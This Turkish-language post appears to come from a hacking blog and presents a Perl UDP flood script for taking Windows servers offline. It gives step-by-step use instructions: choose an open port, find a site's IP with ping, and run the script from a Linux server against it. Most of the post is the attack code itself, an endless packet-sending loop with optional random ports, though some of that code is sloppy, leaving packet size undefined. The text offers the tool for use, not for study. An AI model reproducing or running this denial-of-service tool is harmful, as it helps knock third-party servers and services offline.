Windows Udp Dos Attack..

bu perl ile kodlanmış ufak script windows sunucuları kapatmakta oldukça etkilidir.. saldıracagınız hedef sunucuda açık bir porta saldırıyoruz, atıyorum 139 portuna 80 portuna veya 8443 portuna saldırabilirsiniz.. saldırıcagaımız sitenin ip adresini ise başlat > çalıştır > cmd > ping site.com işlemini uyguluyarak ögrenebilirsiniz. Windows Udp Dos Attack..  ddos attack, ddos exploit, ddos perl exploit, ddos script, aşagıda verdigim kodları bir kopyalıyarak bir notaped içine yapıştırın sonra Linux bir sunucuda çalıştırın 

çalıştırma :  perl windows-udp-attack.pl  hedef-sunucu-ip-adres  port  saldırısüresi
                  perl  windows-udp-attack-.pl www.byege.blogspot.com 80 9999 gibi

#!/usr/bin/perl
#####################################################
# Windows Udp Dos Attack..
#
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 \n";
 printf "if arg1/2 =0, randports/continous packets.\n";
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "udp flood - Sincan2";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}